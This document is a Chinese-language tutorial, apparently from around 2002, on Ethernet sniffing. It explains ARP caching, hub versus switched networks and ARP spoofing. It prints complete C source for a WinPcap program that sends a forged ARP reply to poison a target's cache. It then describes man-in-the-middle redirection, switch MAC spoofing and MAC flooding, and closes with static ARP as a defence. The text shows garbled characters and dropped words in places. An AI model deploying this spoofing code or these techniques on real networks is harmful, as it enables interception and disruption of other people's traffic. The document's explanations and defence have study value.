以太網(wǎng)內(nèi)的嗅探(sniff)對(duì)于網(wǎng)絡(luò)安全來(lái)說(shuō)并不是什么好事,雖然對(duì)于網(wǎng)絡(luò)管理員能夠跟蹤數(shù)據(jù)包并且發(fā)絡(luò)問(wèn)題,但是如果被破壞者利用的話,就對(duì)整個(gè)網(wǎng)絡(luò)構(gòu)成嚴(yán)重的安全威脅。至于嗅探的好處和壞處就不羅嗦了。
緩存表
假設(shè)這樣一個(gè)網(wǎng)絡(luò):
——————————
| HUB |
——————————
| | |
| | |
| | |
HostA HostB HostC
其中
A的地址為:IP:192.168.10.1 : AA-AA-AA-AA-AA-AA
B的地址為:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB
C的地址為:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC
假設(shè)B是屬于一個(gè)嗅探愛(ài)好者的,比如A機(jī)器的ARP緩存:
C:\>arp -a
Interface: 192.168.10.1 on Interface 0x1000003
Internet Address Physical Address Type
192.168.10.3 CC-CC-CC-CC-CC-CC dynamic
這是192.168.10.1機(jī)器上的ARP緩存表,假設(shè),A進(jìn)行一次ping 192.168.10.3操作,PING主機(jī)C,會(huì)查詢本地的
ARP緩存表,找到C的IP地址的MAC地址,那么就會(huì)進(jìn)行數(shù)據(jù)傳輸,目的地就是C 的MAC地址。如果A中沒(méi)有C的ARP記
錄,那么A首先要廣播一次ARP請(qǐng)求,當(dāng)C接收到A 的請(qǐng)求后就發(fā)送一個(gè)應(yīng)答,應(yīng)答中包含有C的MAC地址,然后A接
收到C的應(yīng)答,就會(huì)更新本地的ARP緩存。接著使用這個(gè)MAC地址發(fā)送數(shù)據(jù)(由網(wǎng)卡附加MAC地址)。
因此,本地高速緩存的這個(gè)ARP表是本地網(wǎng)絡(luò)流通的基礎(chǔ),而且這個(gè)緩存是動(dòng)態(tài)的。
網(wǎng)絡(luò)(Hub-Based)
很多網(wǎng)絡(luò)都是用Hub進(jìn)行連接的。數(shù)據(jù)包經(jīng)過(guò)Hub傳輸?shù)狡渌?jì)算機(jī)的時(shí)候,Hub只是簡(jiǎn)單地把這個(gè)數(shù)據(jù)包廣播
到Hub的所有端口上。
這就是上面舉例中的一種網(wǎng)絡(luò)結(jié)構(gòu)。
現(xiàn)在A需要發(fā)送TCP數(shù)據(jù)包給C。首先,A需要檢查本地的ARP 緩存表,查看是否有IP為192.168.10.3即C的ARP記
錄,如果沒(méi)有那么A將要廣播一個(gè)ARP請(qǐng)求,當(dāng)C接收到這個(gè)請(qǐng)求后,就作出應(yīng)答,然后A更新自己的ARP緩存表。并
且獲得與C的IP相對(duì)應(yīng)的MAC地址。這時(shí)就傳輸這個(gè)TCP數(shù)據(jù)包,Ethernet幀中就包含了C的MAC地址。當(dāng)數(shù)據(jù)包傳輸
到HUB的時(shí)候,HUB直接把整個(gè)數(shù)據(jù)包廣播到所有的端口,然后C就能夠接收到A發(fā)送的數(shù)據(jù)包。
正因?yàn)镠UB把數(shù)據(jù)廣播到所有的端口,所以計(jì)算機(jī)B也能夠收到A發(fā)送給C的數(shù)據(jù)包。這正是達(dá)到了B嗅探的目的。
因此,Hub-Based的網(wǎng)絡(luò)基本沒(méi)有安全可言,嗅探在這樣的網(wǎng)絡(luò)中非常容易。
交換網(wǎng)絡(luò)(Switched Lan)
用來(lái)代替HUB,正是為了能夠解決HUB的幾個(gè)安全問(wèn)題,其中就是能夠來(lái)解決嗅探問(wèn)題。Switch不是把數(shù)
據(jù)包進(jìn)行端口廣播,它將通過(guò)自己的ARP緩存來(lái)決定數(shù)據(jù)包傳輸?shù)侥莻€(gè)端口上。因此,在交換網(wǎng)絡(luò)上,如果把上面
例子中的HUB換為Switch,B就不會(huì)接收到A發(fā)送給C的數(shù)據(jù)包,即便設(shè)置網(wǎng)卡為混雜模式,也不能進(jìn)行嗅探。
ARP欺騙( ARP spoofing)
并不只在發(fā)送了ARP請(qǐng)求才接收ARP應(yīng)答。當(dāng)計(jì)算機(jī)接收到ARP應(yīng)答數(shù)據(jù)包的時(shí)候,就會(huì)對(duì)本地的ARP緩存
進(jìn)行更新,將應(yīng)答中的IP和MAC地址在ARP緩存中。因此,在上面的假設(shè)網(wǎng)絡(luò)中,B向A發(fā)送一個(gè)自己偽造的ARP應(yīng)
答,而這個(gè)應(yīng)答中的數(shù)據(jù)為發(fā)送方IP地址是192.168.10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地
址本來(lái)應(yīng)該是CC-CC-CC-CC-CC-CC,這里被偽造了)。當(dāng)A接收到B偽造的ARP應(yīng)答,就會(huì)更新本地的ARP緩存(A可不
知道被偽造了)。
現(xiàn)在A機(jī)器的ARP緩存更新了:
C:\>arp -a
Interface: 192.168.10.1 on Interface 0x1000003
Internet Address Physical Address Type
192.168.10.3 DD-DD-DD-DD-DD-DD dynamic
這可不是小事。的網(wǎng)絡(luò)流通可不是根據(jù)IP地址進(jìn)行,而是按照MAC地址進(jìn)行傳輸。現(xiàn)在192.168.10.3的
MAC地址在A上被改變成一個(gè)本不存在的MAC地址?,F(xiàn)在A開(kāi)始Ping 192.168.10.3,網(wǎng)卡遞交的MAC地址是
DD-DD-DD-DD-DD-DD,結(jié)果是什么呢?網(wǎng)絡(luò)不通,A根本不能Ping通C!!
這就是一個(gè)簡(jiǎn)單的ARP欺騙。
我們來(lái)實(shí)現(xiàn)這樣的ARP欺騙。這里需要使用一個(gè)WinPcap提供的API和驅(qū)動(dòng)。(http://winpcap.polito.it/)
winpcap是一個(gè)偉大而且開(kāi)放的項(xiàng)目。Windows環(huán)境下的nmap、snort、windump都是使用的winpcap。
///////////////////////////////////////////////////////
//
// ARP Sender
//
// Creator: Refdom
// Email: [email protected]
// Home Page: www.opengram.com
//
// 2002/4/7
//
///////////////////////////////////////////////////////
#include "stdafx.h"
#include "Mac.h"
//GetMacAddr(),我寫(xiě)的把字符串轉(zhuǎn)換為MAC地址的函數(shù),就不列在這里了
#include
#include
#define EPT_IP0x0800/* type: IP*/
#define EPT_ARP0x0806/* type: ARP */
#define EPT_RARP0x8035/* type: RARP */
#define ARP_HARDWARE 0x0001/* Dummy type for 802.3 frames */
#defineARP_REQUEST0x0001/* ARP request */
#defineARP_REPLY0x0002/* ARP reply */
#define Max_Num_Adapter 10
#pragma pack(push, 1)
typedef struct ehhdr
{
unsigned chareh_dst[6];/* destination ethernet addrress */
unsigned chareh_src[6];/* source ethernet addresss */
unsigned shorteh_type;/* ethernet pachet type*/
}EHHDR, *PEHHDR;
typedef struct arphdr
{
unsigned shortarp_hrd;/* format of hardware address */
unsigned shortarp_pro;/* format of protocol address */
unsigned chararp_hln;/* length of hardware address */
unsigned chararp_pln;/* length of protocol address */
unsigned shortarp_op;/* ARP/RARP operation */
unsigned chararp_sha[6];/* sender hardware address */
unsigned longarp_spa;/* sender protocol address */
unsigned chararp_tha[6];/* target hardware address */
unsigned longarp_tpa;/* target protocol address */
}ARPHDR, *PARPHDR;
typedef struct arpPacket
{
EHHDRehhdr;
ARPHDRarphdr;
} ARPPACKET, *PARPPACKET;
#pragma pack(pop)
int main(int argc, char* argv[])
{
static char AdapterList[Max_Num_Adapter][1024];
char szPacketBuf[600];
char MacAddr[6];
LPADAPTERlpAdapter;
LPPACKETlpPacket;
WCHARAdapterName[2048];
WCHAR*temp,*temp1;
ARPPACKET ARPPacket;
ULONG AdapterLength = 1024;
int AdapterNum = 0;
int nRetCode, i;
//Get The list of Adapter
if(PacketGetAdapterNames((char*)AdapterName,&AdapterLength)==FALSE)
{
printf("Unable to retrieve the list of the adapters!\n");
return 0;
}
temp = AdapterName;
temp1=AdapterName;
i = 0;
while ((*temp != '\0')||(*(temp-1) != '\0'))
{
if (*temp == '\0')
{
memcpy(AdapterList[i],temp1,(temp-temp1)*2);
temp1=temp+1;
i++;
}
temp++;
}
AdapterNum = i;
for (i = 0; i < AdapterNum; i++)
wprintf(L"\n%d- %s\n", i+1, AdapterList[i]);
printf("\n");
//Default open the 0
lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
//取第一個(gè)網(wǎng)卡(假設(shè)啦)
if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
nRetCode = GetLastError();
printf("Unable to open the driver, Error Code : %lx\n", nRetCode);
return 0;
}
lpPacket = PacketAllocatePacket();
if(lpPacket == NULL)
{
printf("\nError:failed to allocate the LPPACKET structure.");
return 0;
}
ZeroMemory(szPacketBuf, sizeof(szPacketBuf));
if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
{
printf ("Get Mac address error!\n");
}
memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址
if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。(A的地址)
ARPPacket.ehhdr.eh_type = htons(EPT_ARP);
ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
ARPPacket.arphdr.arp_pro = htons(EPT_IP);
ARPPacket.arphdr.arp_hln = 6;
ARPPacket.arphdr.arp_pln = 4;
ARPPacket.arphdr.arp_op = htons(ARP_REPLY);
if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6);//偽造的C的MAC地址
ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址
if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目標(biāo)A的MAC地址
ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目標(biāo)A的IP地址
memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
PacketInitPacket(lpPacket, szPacketBuf, 60);
if(PacketSetNumWrites(lpAdapter, 2)==FALSE)
{
printf("warning: Unable to send more than one packet in
a single write!\n");
}
if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
{
printf("Error sending the packets!\n");
return 0;
}
printf ("Send ok!\n");
// close the adapter and exit
PacketFreePacket(lpPacket);
PacketCloseAdapter(lpAdapter);
return 0;
}
于是A接收到一個(gè)被偽造的ARP應(yīng)答。A被欺騙了!!倘若在局域網(wǎng)中看某某機(jī)器不順眼,……
以太網(wǎng)中的嗅探太有作用了,但是交換網(wǎng)絡(luò)對(duì)嗅探進(jìn)行了限制,讓嗅探深入程度大打折扣。不過(guò),很容易就能
夠發(fā)現(xiàn),主機(jī)、Switch(動(dòng)態(tài)更新地址表類型,下同)中的緩存表依然是(主要是)動(dòng)態(tài)的。要在一個(gè)交換網(wǎng)絡(luò)中
進(jìn)行有效的嗅探工作(地下黨?),需要采用對(duì)付各種緩存表的辦法,連騙帶哄,甚至亂踹,在上面的ARP欺騙基礎(chǔ)
中我們就能夠做到。
對(duì)目標(biāo)進(jìn)行ARP欺騙
就象上面程序中實(shí)現(xiàn)的一樣,對(duì)目標(biāo)A進(jìn)行欺騙,A去Ping主機(jī)C卻發(fā)送到了DD-DD-DD-DD-DD-DD這個(gè)地址上。如
果進(jìn)行欺騙的時(shí)候,把C的MAC地址騙為BB-BB-BB-BB-BB-BB,于是A發(fā)送到C上的數(shù)據(jù)包都變成發(fā)送給B的了。這不正
好是B能夠接收到A發(fā)送的數(shù)據(jù)包了么,嗅探成功。
A對(duì)這個(gè)變化一點(diǎn)都沒(méi)有意識(shí)到,但是接下來(lái)的事情就讓A產(chǎn)生了懷疑。因?yàn)锳和C連接不上了!!B對(duì)接收到A發(fā)送
給C的數(shù)據(jù)包可沒(méi)有轉(zhuǎn)交給C。
做“man in the middle”,進(jìn)行ARP重定向。打開(kāi)B的IP轉(zhuǎn)發(fā)功能,A發(fā)送過(guò)來(lái)的數(shù)據(jù)包,轉(zhuǎn)發(fā)給C,好比一個(gè)路由
器一樣。不過(guò),假如B發(fā)送ICMP重定向的話就中斷了整個(gè)計(jì)劃。
直接進(jìn)行整個(gè)包的修改轉(zhuǎn)發(fā),捕獲到A發(fā)送給的數(shù)據(jù)包,全部進(jìn)行修改后再轉(zhuǎn)發(fā)給C,而C接收到的數(shù)據(jù)包完全認(rèn)為
是從A發(fā)送來(lái)的。不過(guò),C發(fā)送的數(shù)據(jù)包又直接傳遞給A,倘若再次進(jìn)行對(duì)C的ARP欺騙?,F(xiàn)在B就完全成為A與C的中間橋
梁了。
對(duì)Switch的MAC欺騙
Switch上同樣維護(hù)著一個(gè)動(dòng)態(tài)的MAC緩存,它一般是這樣,首先,交換機(jī)內(nèi)部有一個(gè)對(duì)應(yīng)的列表,交換機(jī)的端口對(duì)
應(yīng)MAC地址表Port n <-> Mac記錄著每一個(gè)端口下面存在那些MAC地址,這個(gè)表開(kāi)始是空的,交換機(jī)從來(lái)往數(shù)據(jù)幀中學(xué)
習(xí)。舉例來(lái)說(shuō),當(dāng)Port 1口所接的計(jì)算機(jī)發(fā)出了一個(gè)數(shù)據(jù)幀,這幀數(shù)據(jù)從Port 1進(jìn)入交換機(jī),交換機(jī)就取這個(gè)數(shù)據(jù)幀
的原MAC地址AAAA,然后在地址表中記錄:Port 1 <-> AAAA, 以后,所有發(fā)向MAC地址為AAAA的數(shù)據(jù)幀,就全從Port 1
口輸出,而不會(huì)從其它的口輸出。
跟前面對(duì)目標(biāo)進(jìn)行欺騙相類似。如果把Switch上的MAC-PORT表修改了,那么對(duì)應(yīng)的MAC和PORT就一樣跟著改變,本來(lái)
不應(yīng)該發(fā)送到嗅探器的數(shù)據(jù)結(jié)果發(fā)送過(guò)來(lái)了,這樣也達(dá)到了嗅探的目的。修改本地(B)發(fā)送的數(shù)據(jù)包MAC地址為原來(lái)A的
MAC地址,當(dāng)經(jīng)過(guò)交換機(jī)的時(shí)候,交換機(jī)發(fā)現(xiàn)端口B對(duì)應(yīng)的地址是機(jī)器A的MAC地址,于是就將會(huì)把A的MAC地址同端口B相對(duì)
應(yīng),從而把發(fā)送給A的數(shù)據(jù)從端口B傳輸了,本來(lái)這些應(yīng)該是傳送到端口A的。因此,從機(jī)器B就能夠獲得發(fā)送給A的數(shù)據(jù)。
但是,這里有一個(gè)問(wèn)題,A將接收不到數(shù)據(jù)了。嗅探不目的并不是要去破壞正常的數(shù)據(jù)通訊。同時(shí),從剛才的欺騙中,
讓交換機(jī)中一個(gè)MAC地址對(duì)應(yīng)了多個(gè)端口,這種對(duì)于交換機(jī)處理還不清楚。還請(qǐng)多指教。
對(duì)Switch進(jìn)行Flood
就象上面介紹Switch的MAC和Port對(duì)應(yīng)關(guān)系形成的原理,因?yàn)镸AC-PORT緩存表是動(dòng)態(tài)更新的,那么讓整個(gè)Switch的端
口表都改變,對(duì)Switch進(jìn)行MAC地址欺騙的Flood,不斷發(fā)送大量假M(fèi)AC地址的數(shù)據(jù)包,Switch就更新MAC-PORT緩存,如果
能通過(guò)這樣的辦法把以前正常的MAC和Port對(duì)應(yīng)的關(guān)系破壞了,那么Switch就會(huì)進(jìn)行泛洪發(fā)送給每一個(gè)端口,讓Switch基
本變成一個(gè)HUB,向所有的端口發(fā)送數(shù)據(jù)包,要嗅探的目的一樣能夠達(dá)到。
存在的問(wèn)題,Switch對(duì)這種極限情況的處理,因?yàn)閷儆诓徽G闆r,可能會(huì)引起包丟失情況。而且現(xiàn)在對(duì)這種極限情
況的Switch狀態(tài)還很不了解。如果對(duì)網(wǎng)絡(luò)通訊造成了大的破壞,這不屬于正常的嗅探(嗅探也會(huì)引起一些丟失)。
對(duì)Switch進(jìn)行各種手段的操作,需要小心,如果打開(kāi)了端口保護(hù),那么可能會(huì)讓交換機(jī)關(guān)閉所有用戶。因此,對(duì)交換
機(jī)這樣的設(shè)備進(jìn)行欺騙或者其他操作,還不如對(duì)一些上級(jí)設(shè)備進(jìn)行欺騙,比如目標(biāo)主機(jī)或者。
至于上面關(guān)于嗅探的手段都是基于這個(gè)動(dòng)態(tài)表進(jìn)行的。因此,使用靜態(tài)的ARP就能夠進(jìn)行防范了。對(duì)于WIN,使用
arp -s 來(lái)進(jìn)行靜態(tài)ARP的設(shè)置。
感謝winpcap這個(gè)開(kāi)放項(xiàng)目,也感謝Dancefire提供的大量幫助和指正。我在網(wǎng)絡(luò)設(shè)備上的了解還很不夠,還請(qǐng)多指正。